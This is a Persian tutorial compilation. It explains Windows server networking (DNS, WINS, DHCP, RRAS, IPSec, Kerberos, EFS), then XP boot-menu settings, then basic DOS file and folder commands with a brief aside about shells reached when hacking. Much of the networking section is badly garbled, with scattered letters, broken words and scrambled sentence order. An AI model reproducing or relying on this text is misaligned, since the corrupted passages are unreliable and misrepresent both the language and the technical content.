Domains (د رار دارن تفاده . ، ق ددکاس دگان متع روینن دگان ی از س ه DNSس دهن وط ب تفاده م ی اTLD مرب ت اس د ی نماینترن ن یا. ن

ه شما قصد   ک د ينکفرض .  باشندی، میس دهندگان در ساختار سلسله مراتبیر سروی در ارتباط با سایاملکس دهندگان شامل مرجع   یسرو
ا  اط ب ته باشcom.test.www://httpارتب روي را داش ده ید و س ما ، داراDNSس دهن ازمان ش ک ی س راentry ی  ی ب

com.test.www://httpد ی نم ا  یدر ا.  باش ت ب کن حال روی ده ی س ده دیي تاDNSس دهن ر درید ش رار م  TLDگ اط برق  ی ، ارتب
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ه ارا س دهنده قی داشته و سروی ، آگاهTest.comه شامل آدرس ک یس دهنده معتبری ، از آدرس سرو TLDس دهده   یسرو.گردد ه ی ادر ب
ا   ییارآک انعطاف و   یند فوق ، دارا   یفرآ.  ، خواهد بود     www://http با نام    یوتريامپک ی آدرس برا  یک  IPافتن آدرس ی  بالا در رابطه ب

  .  ، است domain nameمربوط به 

ام  DNS خاص یژگی ویکندوز از یو تفاده م  ) Dynamic DNS)DDNS با ن ر یوتر مبتن يامپک  یک ه يک زمان. دی  نمای، اس دوز  یو  ب ن
ام    DNSس دهنده ید ، با سرو ی نما یت خود را آغاز م    يفعال)  بعد از آن     یا نسخه ها  یو   ( ٢٠٠٠ رتبط و ن وتر و آدرس يامپک  مربوطه ، م

IP     ده    یسرو .ار آن قرار خواهد داد      ي موجود خود را در اخت ات  ک ، بان   DNSس دهن اثر از        خود    ی اطلاع ا مت ام ت رات يي ن تغ یآخر  را بهنگ
د .  دی  نمایوترها فراهم م يامپک ی را براDNSس دهنده ی سرویای پویان بهنگام سازک  ام  DDNS. گردد ات کب ، بان ي ن ترتیب  ی اطلاع

DNS  ین اطلاعات مرتبط با آدرس ها     ی شامل آخر IPس دهنده ی شده و سروDNSاثر  ا و ی س خود بصورت پو  یه سروی ، قادر به ارا مت
ر بيين تغیاز آخ ده در ش ام ش ود کرات انج د ب م عملکبمنظور . ه ، خواه ه ياهش حج وط ب ط ي محیک در name resolutionات مرب

دگان  یا سرویه و یس دهنده ثانوی سرویک توان از ی بزرگ ، م یاتيعمل تفاده  Cachingس دهن ده ثانو یسرو . ردک  ، اس  یه ، دارای س دهن
. دی  نمایه ، استفاده م ي اولDNSس دهنده ی سرویک ی موجود بر روDNS ی اطلاعاتک نبوده و از بان خودی اختصاص ی اطلاعات کبان

ه        ی ارا ی مناسب برا  ینه ا یه ، گز  یس دهندگان ثانو  یسرو وط ب وده ول    name resolutionه خدمات مرب ام ساز        ی ب ه بهنگ ادر ب  یای  پوی ق
DNS  را          ی قادر به در   هیس دهندگان ثانو  ی از انواع سرو   یبرخ. (  نخواهند بود ان ب ده   ی سرو  یافت اطلاعات بهنگام شده و ارسال آن س دهن

ا   ی نمایافت م  ی را درname resolution درخواست یکه يک ، زمانCaching DNSس دهندگان یسرو) .  باشند یه ، مياول د ، ب  یک ن
 را استفاده   IPادامه آدرس     ، در  Cachingس دهنده   یسرو. ردکات خود ، ارتباط برقرار خواهد       ي بمنظور اتمام عمل   DNSده  نس ده یسرو

 را DNS یره داده هايان ذخکندوز، امی وDNSس دهنده ینرم افزار سرو . دی نما یره م ي مشابه ، ذخ   یو آن را بمنظور پاسخ به درخواست      
ا انتخاب ا  . دی نما ی ، فراهم م   یتورکریو دا يتکا در ا  یل متن و    ی فا یکدر   ور کریو داي تکب ه ا ی گزی ، دارایت ر نصب   یمبن  ین ر  DNS ب  ب
روز اش   ین موارديدر چن. م بودي خواهdomain controller هر یرو ور کریو داي تکا ال درک در صورت ب ع ی سر یابی ان بازک  ، امیت

د داشت  وان یم( اطلاعات وجود خواه ر روDNS ت ا زمی دdomain controller یک ی را ب تفاده از اطلاعات يگر نصب ت ه اس ن
DNSفراهم گرددیتورکریاو ديتک موجود در ا ،  . (.  

  
WINS   

  
ا      DNS نسبتا مشابه    یردک عمل ی ، دارا  WINSس  یسرو اوت ه ا تف د  یی ب ل از و   .  است    ک ان دوز   یقب ا يامپک ،   ٢٠٠٠ن  موجود در   یوتره
ام منحصر ب      یک  یوتر دارا يامپک  ، هر    ین حالت يدر چن . ردندک ی استفاده م  NetBIOS با نام    یلکه از پروت  کشب وده و س      ه   ن رد ب س یروف

ادل است  IP ی ، به آدرس هاNetBIOS ی بمنظور ترجمه اسامname resolutionس یه سرویول ارائ ، مسWINSدهنده   DNS.  مع
ثلا   ).  خاص  domain یکصرفا در   ( فرد است   ه   نام منحصر ب   یکازمند  يز ن ي، ن  ام  ی ان تعرک  ، امDNSم را Client1ف ن  یک  ی را ب
وده   ي  مسطح تبع   یستم نامگذار  ي س یک ، از    WINS.دی نما ی ، فراهم م   Microsoft.com و   Test.comوتر موجود در حوزه     يامپک ت نم

رد ه   منحصر ب    ی اسام  یه دارا ک موجود در شب   یوترهايامپک یست تمام ی با یو م  ند    یف د . باش ه از ک م يد انتظار داشته باش   ی ب نبا ي ن ترت یب
ردد ی ، استفاده مDNSس ینترنت از سرویدر ا( نترنت ، استفاده گردد  یه ا ک ، در شب   WINSس  یسرو تفاده از ) .  گ  WINSس یسرو  اس

  .  گرددیشنهاد مي، پی خصوصی محلیه هاک شبیدرصورت لزوم فقط برا

  
تفاده م  ی با نسخه ها   ی بمنظور سازگار  NetBIOS ی بعد از آن ، همچنان از اسام       ی و نسخه ها   ٢٠٠٠ندوز  یو د  ی نمای قبل از خود اس . ن

را یت و سازگارینه حمايده تا زمیه گردیز ارا ي ، ن  WINSس دهنده   ینت ، سرو  ندوز دات   ی و و  ٢٠٠٠ندوز  یدر و  دگان  يس گی سرو ی ب رن
در  یکما.  باشند ، فراهم گردد    ی ، م  WINSه همچنان مرتبط با     ک یمیقد تفاده از     یروسافت بت را  DNS را حذف و از       NetBIOSج اس  ی ب

   .دی نمای استفاده مWINSس یترجمه نام به آدرس ، در مقابل سرو

  
دد   ین سرويآن ب ) Replicate( یریرارپذکت تي ، قابلWINSس  یفرد سرو ه  ب  منحصر ی ها یژگی از و  یکی دگان متع  در WINSس دهن
ا  ي بک مشتری اطلاعاتک بانیک به همراهه ک شبی بر روWINSس دهنده ین سروی توان از چند   یب ، م  ين ترت یبد.ه است   ک شب یک ن آنه

ه اطلاعات جد    یر سرو ی ، قادر به ارتباط با سا     WINSس دهنده   یسرو. ، استفاده گردد   دگان بمنظور مبادل ا ی س دهن ام  ید و آدرس ه  بهنگ
  .  ، خواهد بودIPشده 

  
  
   IP یربنديکپ
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ر رو  ب یک  یب د يک ، پکوچ که ک ش ا یربن را WINS و IP  ،Subnet mask , default gatway, DNS ی آدرس ه  از یک  هری ب

ايامپک ود دریوتره ب  موج شکه کش ود یلکار م د ب ب.  نخواه اکدر ش زرگ یه ه امل صدها و ک ب زاران یه ش ند ، یوتر ميامپکا ه  باش
زرگ        یبتي مص  ی دست یربنديکپ ان ز   !  است بس ب د داد        یادی و زم ام   یل ک شامل پروت   TCP/IPل  ک پروت.  را بخود اختصاص خواه ا ن  ب

DHCP)Dynamic Host Configuration Protocol ( وان از آن بمنظور   یه م ک بوده د يک پیای درخواست پو  ت  یک  ، از IP یربن
رو ده یس ودDHCPس دهن تفاده نم ديکپ.  ،اس رویربن ده ی س ه ای ، مDHCPس دهن د بگون ذی توان ات کرد ی صورت پ امل اطلاع ه ش

د ینان بوجود آ  ين اطم یافته را ثبت تا ا    یص  ي تخص IP یت آدرس ها  يس دهنده فوق ، وضع    یسرو.  ، باشد    IP یربنديک مرتبط با پ   یضرور
بک شابه درش ز از دو آدرس م د شدکه هرگ تفاده نخواه ده یسرو. ه اس ه اراي ، همچنDHCPس دهن ادر ب دگان یه آدرس سروین ق س دهن

DNS ،WINS و gatewayش فرض مرتبط با سگمنت مربوطه، خواهد بودي پ .  

  
  

  ) RRAS(  از راه دور یابينگ و دستيس روتيسرو

  
امل سرویو دوز ، ش وق ، ایسرو. است) RRAS)Routing and Remote Access Serviceس ین راکن امیس ف  یک یان را ب

زار یکه بعنوان کد ی نمایندوز فراهم میس دهنده ویسرو ده  ی سرو یک  ، ی روتر نرم اف و ) VPN)Virtual private networkس دهن
زار     .  مطرح گردد  Dial-upس دهنده   ی سرو یک رم اف ررو  ي ، بصورت پ     RRASن دوز نصب م   ی ویش فرض ب ردد ول   ین  بمنظور  یگ

ده  ی سرو یک  بعنوان RRASه از کران شبیثر مدکا.  نشده استیربنديک ، پیات خاصيانجام عمل  تفاده و از آن بمنظور   VPNس دهن  اس
د ی نماینترنت استفاده م یق اتصال ا ی سازمان از طر   یکه موجود در ادارات     کارتباط دو شب   د . ن ب یم د ، پ یه م کران ش د يک توانن  لازم یربن
  . ندی پرسنل سازمان خود، فراهم نمایه را براکق تلفن به شبی از طریابي بمنظور دستRRASس ی استفاده از سرودر خصوص

  
  

   امنيت امکانات

  
ه امن          ی با ی م یه ا کستم عامل شب  ي س یکه  ک یاتين عمل ید مهمتر یشا ه مقول اء دادن ب رداختن و به ستم عامل  ي س. ت است  ي ست انجام دهد ، پ
  : ت است يش امنی بمنظور افزای متعددی هاینولوژکندوز شامل تیو

  
  . د ی نمایا گروه ها ، فراهم میاربران و ک ی لازم را برایابي دستی لازم بمنظور اختصاص مجوزهایل هاي ، پتانسNTFSل یستم فايس

ا ک ت را در سطح پروت   ي ه امن ک  است    یل ک ، پروت  IPSec. د  ی نما یت م ی را حما  IPSecل  کندوز، پروت یو ال م  کب حمل ش  یل ه  یه ، اعم
وع خاص       تواند بمنظور رمز   ی م IPSec. د  ینما ا  وتريامپک ن ي ب يک  ترافی ، رمزنگار يک  از تراف  ینمودن ن ا  ییه وارد  ی خاص و س ر م

ه است ، م    یل حاو ی س دهنده فای سرویک ی دارایمثلا اگر سازمان.  مشابه استفاده گردد   وان  ی اطلاعات محرمان ر رو IPSec ت  ی را ب
و   یسرو د يکق ، پ  س دهنده ف ود  یربن د .  نم ات      یب، سرو  ي ن ترت یب ده صرفا ارتباط دگان يس گی را از سرو یس دهن ذ ی م یرن ه   ک رد ی پ ادر ب ه ق
  .  ارتباط رمز شده ، باشند یکت از یحما

تفاده از رمز         یندوز را م  یستم عامل و  ي بر س  ی مبتن یوترهايامپک وان بمنظور اس ا   ت ور پ   یه ا      یده و طولان   ي چي عب اط ب  account در ارتب
است  ير سیبا استفاده از سا.  خواهد بودیلکار مشک ، ی عبوریها ن رمزيص و حدس چنيتشخ. ردک یربنديکاربران ، پک مربوط به   یها
 مشخص ، استفاده از رمز عبور منحصر      ی زمان یر رمز عبور در محدوده ها     يياربران را ملزم به تغ    ک توان   ی رمز عبور، م   یتي امن یها
ل نمودن     فرد و متفاوت با دفعات    ه  ب ل و قف راد یک  در مواردaccount یک  قب شخ  یه اف د ،   یص آن را بصورت سع  ي قصد ت ا دارن  و خط

  . نمود

د ی نما ی ، استفاده م    Kerberosد  یيل تا ک از پروت  ی و بعد از آن ، بصورت ذات       ٢٠٠٠ندوز  ی و یوترهايامپک د . ن ده   یب سرو  ي ن ترت یب س دهن
ايتضم ام و اربر را کد یي و تایین لازم در خصوص شناس ا يز اطمياربران نکانج اط ب ان لازم در خصوص ارتب کن ده ی سروی س دهن
  . ن را بدست خواهند آوردئمطم
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ام    یلازم، بمنظور رمزنگار ) API)Appliaction Programming Interface یک یندوز دارایو ا ن ا ب .  است  CryptoAPI داده ه
رفیا سهينت وق ، ت ایلات لازم در خصوص ايس ف رم افزاره اد ن ايه نک ییج تفاده از روش ه د اس اریازمن  بمنظور حفاظت از ی رمزنگ

  . دی نمای باشند را فراهم میاطلاعات م

اک ، امNTFSل یستم فايس ات حم د. د ی نمایه میرا ارا) Encrypted File System)EFS لازم در خصوص یتیان ب ، ين ترتیب
ا ی ر فاينظ( ند ی نمایابي رمز شده دستیل های به فا ینند براحت  توا یل ها بوده و در ادامه م      یاربران قادر به رمز نمودن فا     ک ه رمز  ک  ییل ه

 ، EFS سازمان، یکبمنظور حفاظت از اطلاعات در  .  رمز شده نخواهند بود    یل ها ی به فا  یابياربران قادر به دست   کر  یسا) . ستند  يشده ن 
د یافت داده ها را برای لازم در خصوص باز  یل ها يپتانس ا  يه نک  د شده یي ران تای م د داده ه راهم م   ی رمز شده م   یازمن ند، ف   . دی  نمای باش

  
سه    ی ا روسافت در  یکظاهرا هدف ما  .من است   یر ا يندوز نسبتا غ  یستم عامل و  يش فرض، س  ي پ یربنديکپ د     ين رابطه ت ت یریل در نصب و م
ومت  ک ح یرایه پذ ک باشد   ییستم ها ي در رابطه با س    ی از تهاجمات اطلاعات   ی تواند منشاء برخ   ین موضوع م  يهم. ستم عامل بوده است     يس
انات گسترده ک نموده است امیاست فوق ، عدول و سعيندوز دات نت ، از س  ی و یروسافت در نسخه ها   یکما. ندوز شده اند  یستم عامل و  يس
 Windows .NET Server ی هایژگی از ویادیبمنظور انتخاب تعداد ز. دیه نمایش فرض، اراي پیربنديک پیمن سازی را بمنظور ایا

ر ي ش فرض غ يبصورت پ   ) IISر ي نظ ( یاري اخت ی ها یژگی از و  یاريبس.  انجام شود  ی و نصب اضافه ا    یربنديکست پ ی با ی ، م  2003
 ). ه در رابطه با حفاظت اطلاعاتي اولیريشگپي. ( باشندیفعال م

 
 

  :زنگ تفريح 
  

  XP ندوزيدر و Boot یامل منوکت يريآموزش مد
  
ر رو یوتر از دو ويامپکاربران ک از یاريحال حاضر بس در  تفاده م  ستم خود ي  سیندوز ب د يکاس را . نن ال دو و یب دوز  ی مث وان س   ( ٩٨ن ه عن و  ) Base ستم عامل ي ب
 صفحه یک XP ندوزی، و) ستم عامل دوم يبه عنوان س ( ٩٨ندوز ی ویرو XP ندوزینصب ود بعد از يدانيه مکهمان طور . ستم عامل دوميبه عنوان س XP ندوزیو

  انتخابیمنو نیا.ندکستم عامل دلخواهش را انتخاب يتواند توسط آن سياربر مکه ک آورد یم ستم به وجودي سی راه اندازی در ابتدایستم عامل وروديانتخاب نوع س
Boot ندوزیش فرض وي مثال در حالت پیبرا. ندکنها توجه د به آیاربر باکه ک دارد یطیشرا XP بوت ظاهر  یدر منو) انتخاب اول ( ستم عامل اول يبه عنوان س 

 : و اما آموزش. را به شما آموزش دهم Boot یت دلخواه منویریمد خواهم نحوهين آموزش میدر ا. دیشتر فرصت نداريه بي ثان٣٠ر انتخاب يي تغیبرا شود و شمايم
...   

 
ه یرده و گزک  يک لکراست  Desktop در My Computer نویکآ یسپس رو!! د یشو XP ندوزیندوز ابتدا وارد وی بوت ویت منویری مدیراب را  Properties ن

  .دينکانتخاب 
 

  .دیشو Advanced وارد قسمت System Properties در صفحه
 
  .دينک يکلک Startup and Recovery ر مجموعهیمربوط به ز Settings مهک دین قسمت رویدر ا
 

  : دهميتان شرح مین صفحه را برای موارد اک ت ،که تکمات بوت است يمربوط به تنظ Startup and Recovery صفحه
 

   : System startup قسمت
 
  

  .دير دهييش فرض را تغي پیستم عامل انتخابيد سيتوانيشما م Default operating system ری موجود در زیوشکست يدر ل
 

ا ييبه تغ مربوط Time to display list of operating system قسمت وت است    یر مدت زمان نم ع تغ ( ش صفحه انتخاب ب ان  يي در واق فرصت شما    ر مدت زم
ته توجه د . دي ر دهيين زمان را تغیه است ايه بر حسب ثانکن عبارت ی ایجلو Box ر زمان موجود درييد با تغيتوانيشما م). ندوز ی انتخاب ویبرا ه اگر  ک د يباش  اش
و ید دینه را بردارین گزینار عبارت اک يکت وت  یگر من ا   انتخاب ب د شد و س  ینم ه صورت اتومات  ي ش داده نخواه اب  ش فرض يستم عامل پ  ي  وارد سيک ستم ب  یانتخ
  .شوديم
  

 به آن یاربر در مواقع ضرورکه ک ستا Recovery ش صفحهیر مدت زمان نماييمربوط به تغ Time to display recovery options when needed قسمت
شردن   يتوانيضمنا شما م. دينک تید توجه بالا را رعایز باين مورد نیدر ا. ردکدرست مانند قسمت قبل عمل  توانيز مين مورد نیدر ا. نديکدا مياز پين ا ف  F6 دي لکد ب

ه ا ک اگر شما).ستم ها متفاوت باشد ي از سیعضن است در بکمه ممکن دیا( د ينکدا يپ یدسترس Recovery بورد به صفحهکيدر صفحه  ست یاربر حرف د ي توانيد مي ه
شود يباز م Notepad توسط برنامه Boot.Ini لیمه فاکن دیبا فشردن ا. دين قسمت انجام دهیدر ا Edit مهکبا فشردن د ( شتريات بيالبته با جزئ( ارها را کن یتمام ا

  .دينکش یرایو ( Manual ) ید آن را به صورت دستيتوانيو شما م
 

  : System failure قسمت
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دوز است  یدر و Crash لاتک با همان مش یستمي سیها ستکداست مربوط به شيه از نامش پکن قسمت همان طور یا ه شرح ز   ی د اي توانيشما م . ن سمت را ب ر ی ن ق
  : دينکت یریمد
 

Write an event to the system log: ه شامل ک یستمي سیدادهایاقات و رو اتفین قسمت تمامیبا فعال بودن ا Crash   ا و  یستمي ل سی  فایک شود ، در ي م... ه
  .ندک کمکل ک مشیابیشه یاربر در رکاز به يشود تا در مواقع نيره ميذخ
 

 :Send an administrative alertرا یی غام هشدار اجرا ي پیکل کنه در مواقع بروز مشین گزیفعال بودن ا با ع   شود ي ارسال م  اربرک  ی ب ا او را مطل د  کت در ( ن
  ).نديکره مي خطا ذخیها غاميپ غام را در قسمت انبارين پیواقع ا

 
Automatically restart ه صورت اتومات  يغام خطا سيش پی و نمای جدیستميل سکنه بعد از بروز هر مشین گزی با فعال بودن ا ا از  ي م Restart يک ستم ب شود ت

  . شودیريستم جلوگي تر به سی جدیبهايبروز آس
  

 
  :Write debugging information قسمت 

 
ا یره فاي د نحوه ذخ ي توانير آن شما م ی  زیشوک ست ي ل قی از طر. باشد يره موقت مي و به صورت ذخکیمک یلهایمات فايقسمت مربوط به تنظ نیا ره ي  ذخکی مک یله

  : ریب زيبه ترت. دينکن يمع موقت را
 

None  : هد شدره نخوايل ذخی در فایچ اطلاعاتيه.  
 

Small memory dump : لی فایک و مختصر در یار جزئيره اطلاعات موقت به صورت بسيذخ Dump .  
 

Kernel memory dump : ره اطلاعات موقت در حافظه موقت يذخ Kernel .    ع نظارت جزئ ر رو یدر واق سمت ی ت ستم عامل و ثبت   ي ا هسته س ی  Kernel  ق
  .ل آنک در هنگام بروز مشیاطلاعات ضرور

 
Complete memory dump : ه صورت   یره اطلاعات ضرور  يذخ ر ذخ   ی ره موقت  ي ل ذخی  فایک امل در  ک ب ارت بهن ه عب ام جزئ ي ا ب  چه ( ل کات مش ي ره تم

Kernel  لی فایکدر ... ) و Dump . د عبارتينکنه را انتخاب ین گزیاگر ا Overwrite any existing file ی به معن ه فعال بودن آنکشود ير آن فعال میدر ز 
  . خواهند شدیسیموجود بازنو Dump یلهایه فاکن است یا

 
ا یره فاي ز محل ذخ ين Small dump directory قسمت ا  ي  ذخیله د  يش میره موقت را نم ه در حالت انتخاب گز   ( ده ه یالبت اگر شما    . Small memory dump ن
  .( دير دهييلها را به دلخواه تغین فایر ايد نام و مسيتواني شما م(ش داده خواهد شد یل نمای فایکر يد فقط مسينکرا انتخاب  Kernel حالت

 
و  Boot مات يه موارد مربوط به تنظيلکد يتوانيب شما مي به ابن ترت.است Small memory dump د ، همان انتخابيستي نیاربر حرفه اکشنهاد من به شما اگر يپ

   .دينکت یریرا مد... 
 
 .دیامل را ببرک ن آموزش استفادهیدوارم از ايام
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  .این قسمت توسط استاد ؛ آقای آراز صمدی تهيه شده و من آن را بدون کم کاستی در اینجا آورده ام 
  

  ها ها و فولدر ليار با فاکدستورات 
  
ندوز معمولا یاربران وک. شدند ی استفاده مMS DOS یعنیروسافت یکما!! یعامل باستان ستميه در سک هستند ییها ن دستورات همونیا
 چون یول. دهند یق ماوس انجام می و معمولا از طريکیط گرافيارها رو در محکنند چون همه ک ی اونا احساس نمیريادگی به یازين

shellدین دستورات آشنا بشوید با ای دارد، شما بای حالت متن .shell شهير ظاهر میمتن ز. دينک رو باز :  
 

Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-1999 Microsoft Corp. 
 
I:\> 

  
 است یویه معمولا همان دراکفرض من  شيو پی است و درا٢٠٠٠ندوز ی رو در اون آوردم، وshellه من ک یعامل ستميه سکد ينکدقت 

  : سمینو یم. دید دي خواهیز متفاوتيشما مسلما چ.  استIو یندوز در اون نصب شده، درایه وک
 

I:\> C: 
  

  :  هستمCو یه الان در دراکده ينه و نشون مک یر ميي تغpromptحالا . موی وارد بشCو یتا به درا
 

C:\>  
  
  : سمینو یم
 

C:\> dir 
  
  : شهير ظاهر میست زيو ل
 

 Volume in drive C is FREE-START 
 Volume Serial Number is 3623-07E6 
 
 Directory of C:\ 
 
09/06/2003  06:29a      <DIR>          GAMES 
08/15/2003  06:20p           1,806,727 phpMyAdmin-2.5.3-rc1-php.zip 
06/17/2002  07:06p      <DIR>          upload 
06/19/2002  07:02p      <DIR>          mailserver 
09/13/2002  03:59a               8,053 port-tcp-c.c 
02/27/2003  10:28p      <DIR>          mp3 
04/18/2003  07:38a               1,152 araz.pl 
               3 File(s)      1,815,932 bytes 
               4 Dir(s)      95,502,336 bytes free 

  
) یتورکریدا(  فولدر یک GAMESنجا یمثلا ا. وتر من استيامپک Cو ی موجود در درایها یتورکریها و دا لیست فاينها در واقع لیا

  : سمینو یحالا م. ه لی فا ه، ستين سطر از لیه آخرک araz.pl یول. دهي میتورکری دایه معنکاومده > DIR<لمه کاست چون در اون سطر 
  

C:\> cd games 
  

  : شنوم یواب مو ج
 

C:\GAMES> 
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 هست و جواب ییها ا فولدریل ین فولدر چه فاینم در ايه ببکسم ینو ی رو مdirبازم دستور . ام  شدهgames اسم ه بیفولدر وارد یعنی
  : شنوم یم
 

 Volume in drive C is FREE-START 
 Volume Serial Number is 3623-07E6 
 
 Directory of C:\GAMES 
 
09/06/2003  06:29a      <DIR>          . 
09/06/2003  06:29a      <DIR>          .. 
09/06/2003  06:29a      <DIR>          FORMULA1 
09/06/2003  06:35a      <DIR>          SP 
09/06/2003  06:36a      <DIR>          SUPER 
09/06/2003  06:39a      <DIR>          UF 
               0 File(s)              0 bytes 
               6 Dir(s)      95,502,336 bytes free 

  
  : سمی چون اگه بنو ستند،ي نی واقعیها یتورکری دای اولیدوتا. د وجود داریتورکری دا۶گه  یه مک
 

C:\GAMES> cd . 
  

  : رميگ یجواب م
 

C:\GAMES> 
  
  : سمیو اگه بنو. فتادي نیچ اتفاقي هیعنی
 

C:\GAMES> cd .. 
  

  : شنوم یجواب م
 

C:\> 
  
 یلیه فاکام  دهی هستم و چون قبلا دCو یپس الان در درا. ه قبلا بودمک Cو یشه درایر فولدر به عقب برگشتم و اومدم به همون یک یعنی

  : سمینو یم. نمي رو ببیل متنین فایات ایخوام محتو ی در اون هست مaraz.plبه اسم 
 

C:\> type araz.pl 
  

  : شنوم یو جواب م
 

#!/usr/bin/perl 
print "Content-type: text/html\n\n"; 
 
use Socket; 
my ($remote, $port, @thataddr, $that, $them, $proto, $getpage ); 
 
$remote = shift || 'www.securitytracker.com'; 
$port = 80; 
@thataddr=gethostbyname($remote) or die "Not Connected"; 
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$that=pack('Sna4x8',AF_INET, $port, $thataddr[4]); 
$proto=getprotobyname('tcp'); 
 
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die $!; 
connect(SOCK, $that) or die $!; 
........ 

  
 و نامش salam bar to سطر باشه مثلا یک فقط  آناتیه محتوکد بسازم، یل جدی فای متنیکخوام  یم.  استaraz.plل یات فاین محتویا

  :گم یه دو تاشو مک دار چند راه وجود دارک نی ای براali1000.txtهم باشه 
  
  : ديسید بنويتون ی م-١
 

C:\> echo salam bar to > ali1000.txt 
  
  : ديسید بنويتون ی و م-٢
 

C:\> copy con ali1000.txt 
  

  .ل تموم بشهیه فاکد ی رو فشار بدCTRL + Z: بکي تمام شد، ترید و وقتينکپ ی را اونجا تاsalam bar to!!  زده و جملهenterو 
 dirشه و اگه دستور يمجا درست  نيل همیم، فایبود)  فولدر خاص یک نه در یعنی( شه ی و در رCو یدر هر دو حالت چون ما در درا

  : د با دستوريتون یحالا م. ست اضافه شدهيد به لیل جدی فایکه کد ينيب یم د،ينکرو اجرا 
 

C:\> type ali1000.txt 
  

  : ميسینو یم. می بسازtur2د به اسم ی فولدر جدیکم يخواه یم!  هستید چيدون یهم م د، اگرچه الانشينيل رو ببیات فایمحتو
 

C:\> md tur2 
  
  : سمینو یم. ه ساختمک یخوام برم تو فولدر یحالا م. جاد شدهید ایه فولدر جدکنم يب یسم، می رو بنوdirالا اگر ح
 

C:\> cd tur2 
  

د در ی فولدر جدیکم هياگه بخوا.  هستند یه قبلا گفتم چک دنجا وجود داریدر ا.. و . نم فعلا فقط همان دو فولدر يب یم. رميگ ی مdirو بعد 
  : سمینو ی م  بسازم،far30 به اسم tur2 فولدر نیداخل ا

 
C:\tur2> md far30 

  
  : نها وجود دارندینم ايب یرم، مي بگdirو اگر 

 
 Volume in drive C is FREE-START 
 Volume Serial Number is 3623-07E6 
 
 Directory of C:\tur2 
 
10/04/2003  07:17p      <DIR>          . 
10/04/2003  07:17p      <DIR>          .. 
10/04/2003  07:18p      <DIR>          far30 
               0 File(s)              0 bytes 
               3 Dir(s)      95,477,760 bytes free 
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. نمک یپک است، tur2خودش در فولدر ه ک far30شه به فولدر ی رو از رali1000.txtل یخوام فا یم.  هم اضافه شدهfar30 فولدر یعنی
  : سمینو یم
 

C:\tur2> copy c:\ali1000.txt c:\tur2\far30 
  

نم ک یپکخوام  یه مک یلیر و نام فاي فاصله، مسیکبعد با . سمینو ی رو مcopyه اول دستور کن یدي ساده است، حتما فهمیلي خ آنساختار
 ی دست نخورده باقیل اصلیه فاکد ينکدقت . سمینو ی بشه رو میپکل یخوام فا یه مک یري فاصله، مسیکسم و در آخر با ینو یرو م

  : سمید بنوین حالت بایه در اکم ينک یپک Dو یل رو به دراین فايتونستم هم یم. شهيجاد مید ایر جديد در مسی جدیپک یکمونه و  یم
 

C:\tur2> copy c:\ali1000.txt d: 
  
  : سمینو ینم، مک ک پاCو ی رو از دراali1000.txtل یخوام فا ید، می دستور جدیکحالا .  بشهیپک Dو یل به درایه فاک
 

C:\tur2> del c:\ali1000.txt 
  

ل ی اگر فایسم، ولید بنویر رو بايشه است، مسینم در رک ک پا استه قرارک یلی فای هستم ولtur2ه چون من الان در فولدر کد ينکدقت 
  : نوشتم یه من الان هستم بود، مک ییجا همون

 
C:\> del ali1000.txt 

  
نجا یه مثلا اک خط فرمانبا نگاه به ( جا قرار دارم که کنم يتونم بب یردم، مک رو باز shellوتر خودم يامپک ی رویه وقتکنه یته مهم اکن

>c:\tur2در یول)   بود shell د يشه فهمي میجا چطوراون. شهي ظاهر نمخط فرمانن یم، معمولا ايرس یردن به اون مک که موقع هک ی
  : ریاست با دستور ز  سادهیليجا هستم؟ خک
 

cd 
  
  : دهيه جواب مک
 

c:\tur2 
  

  : سمینو یرم همونجا م یردم، مک یپک Cو ی موجود در دراtur2 موجود در فولدر far30 رو به فولدر ali1000.txtل یچون قبلا فا
 

C:\> cd c:\tur2\far30 
  

   :نميب ینو میرم، اي بگdirاگه 
 

 Volume in drive C is FREE-START 
 Volume Serial Number is 3623-07E6 
 
 Directory of C:\tur2\far30 
 
10/04/2003  07:18p      <DIR>          . 
10/04/2003  07:18p      <DIR>          .. 
10/04/2003  07:08p                  15 ali1000.txt 
               1 File(s)             15 bytes 
               2 Dir(s)      95,477,760 bytes free 

  
  : نمک یر استفاده میاز دستور ز) ن تریيه فولدر پای به یعنی (Cو ی از دراtur2نم به فولدر کل رو منتقل ین فایم اهياگه بخوا

 
C:\tur2\far30> move ali1000.txt c:\tur2 
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ه فولدر کحالا !! اديد میشه و به محل جدي مک پای از محل قبلیعنی! یپکشه نه ي منتقل میل اصلیه فاکنه ی اcopy با moveفرق دستور 

far30تر، با دستور نیي فولدر پایکام ياول م. نمکش کتونم پا یم) ستي در اون نیا فولدریل یچ فاي هیعنی( شده ی حال :  
 

C:\tur2\far30> cd .. 
  

  : نمک ی مک رو پاfar30است، فولدر ) ل ینه فا( ردن فولدر ک که مخصوص پاکر ید زیو با دستور جد
 

C:\tur2> rd far30 
  

  : سمینو یر بدم، ميي تغaraz.inc رو به ali1000.txtل یخوام اسم فا یحالا م. شهي مکو فولدر پا
 

C:\tur2> ren ali1000.txt araz.inc  
  
 و در ali1000.inc با اسم یرم ولي بگaraz.incه اسمش هست کل ین فای از ایپک کیخوام  یحالا م!! نيه مطمئن بشکد یريگ بdir کی

  : سمینو یپس م. ن فولدريهم
 

C:\tur2> copy araz.inc ali1000.inc 
  

ل یه هر دو فاکنم يب یشه، می به ری ولCو ینم به دراکل رو منتقل یخوام هر دو تا فا یحالا م. دينيب یل می تا فا٢د، یري بگdirحالا اگه 
  : سمیل بنوکتونم به دو ش ی مinc هان آ است و پسوندa هان آحرف اول

 
C:\tur2> move a*.inc c:\ 

  
  : سمیتونستم بنو ین فولدر بود، میل در این دوتا فاي چون فقط همیول
 

C:\tur2> move *.* c:\ 
  

و ها رو برم و از همه ی درایکی،  یکیتونم  یم. ندوز باشهیه فولدر وک یویخوام برم به فولدر و درا ید می جدکی شد؟ حالا ین چيگرفت
dirو یه دراک ینآيرم تا برسم به  بگwinntجاستکندوز من یه فولدر وکدونم  ی و من استم وتر خوديامپکن ی چون ای، ولد دار !!
  : سمینو یم
 

C:\tur2> I: 
  

  و بعد 
 

I:\> cd winnt 
صفحه اگه بخوام . نميتونم همه رو بب ی نمیشه ولي از جلو چشم رد میادی زیها و فولدرها لی از فایتيسله کنم يب یم. رميگ ی مdir یکو 

  : سمینو ینم، ميبه صفحه بب
 

I:\winnt> dir /p 
  
  : ديسید بنويتون ی م د،ينيها رو بب چیست همه سوي لديهاگه بخوا.  استpage مخفف pچ يین سویه اک
 

I:\winnt> dir /? 
  

   : Cو یم درای و بعد برگردIو یشه درایم به ریر اول برگردیبا دستورات ز! ز جالبي چکیحالا 
